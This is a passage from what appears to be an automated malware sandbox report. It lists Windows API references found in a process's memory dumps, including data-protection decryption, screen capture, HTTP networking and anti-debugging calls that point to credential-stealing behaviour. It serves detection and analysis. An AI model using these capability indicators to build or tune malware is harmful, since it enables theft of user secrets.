"00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageW"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "GetDiskFreeSpaceA"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "GetDiskFreeSpaceW"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesA"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesW"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesExW"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "GetFileSize"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "GetFullPathNameA"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "GetFullPathNameW"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "GetSystemInfo"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTime"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathA"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathW"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExA"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExW"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "HeapCreate"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "HeapDestroy"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "HeapReAlloc"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "HeapSize"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "HeapValidate"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "HeapCompact"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryA"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryW"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "LockFile"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "LockFileEx"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "MapViewOfFile"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "MultiByteToWideChar"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "SetEndOfFile"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "SetFilePointer"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "SystemTimeToFileTime"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "UnlockFile"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "UnlockFileEx"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "UnmapViewOfFile"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "WideCharToMultiByte"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "CreateEventExW"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObject"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "SetFilePointerEx"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "GetFileInformationByHandleEx"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "CreateFile2"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount64"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "GetNativeSystemInfo"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "OutputDebugStringA"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "OutputDebugStringW"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "InterlockedCompareExchange"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "UuidCreate"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "UuidCreateSequential"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "FlushViewOfFile"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "CreateEvent"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "CancelIo"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "CryptStringToBinaryA"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "CryptUnprotectData"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameA"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "SizeofResource"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "FindResourceA"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "GetVolumeInformationA"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleA"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "GetLocaleInfoA"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "GetTimeZoneInformation"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "CopyFileA"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "LockResource"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "GlobalMemoryStatusEx"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleWindow"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "CreateProcessA"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileW"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "TryEnterCriticalSection"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSection"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "RaiseException"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "ReleaseDC"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "ShowWindow"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "GetSystemMetrics"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "GetDC"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "DeleteObject"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "GetObjectW"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "DeleteDC"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "GetDIBits"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "CreateCompatibleDC"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "SelectObject"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "BitBlt"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "GetTokenInformation"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "OpenProcessToken"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "SHGetSpecialFolderPathA"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "HttpQueryInfoA"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "HttpOpenRequestA"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "InternetOpenUrlA"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "InternetSetOptionA"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "InternetOpenA"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "InternetCloseHandle"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "HttpSendRequestA"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "InternetConnectA"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "InternetReadFile"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "BCryptDestroyKey"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "BCryptDecrypt"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "BCryptOpenAlgorithmProvider"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "BCryptCloseAlgorithmProvider"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "BCryptSetProperty"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "BCryptGenerateSymmetricKey"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "CreateDirectoryW"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileExW"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "FindNextFileW"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "GetFinalPathNameByHandleW"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "SetFileInformationByHandle"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "DeviceIoControl"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "CopyFile2"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "CreateHardLinkW"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "CreateSymbolicLinkW"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionEx"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "EncodePointer"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "DecodePointer"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "GetCPInfo"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "GetStringTypeW"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "InitializeSListHead"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "RtlLookupFunctionEntry"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "RtlPcToFileHeader"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "FlsAlloc"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "FlsGetValue"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "FlsSetValue"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "FlsFree"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "CreateProcessW"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "CreateThread"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "ExitThread"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "FreeLibraryAndExitThread"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "GetCommandLineA"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "GetCommandLineW"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "RtlCaptureContext"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "RtlVirtualUnwind"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "GetFileSizeEx"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleOutputCP"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleMode"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "GetExitCodeProcess"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "VirtualProtect"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "GetDateFormatW"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "GetTimeFormatW"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp") Found reference to API (Indicator: "CompareStringW"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "LCMapStringW"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "GetLocaleInfoW"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "IsValidLocale"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "GetUserDefaultLCID"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "EnumSystemLocalesW"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "ReadConsoleW"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "SetStdHandle"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "IsValidCodePage"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "GetACP"; Source: "00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp") Found reference to API (Indicator: "GetOEMCP"; 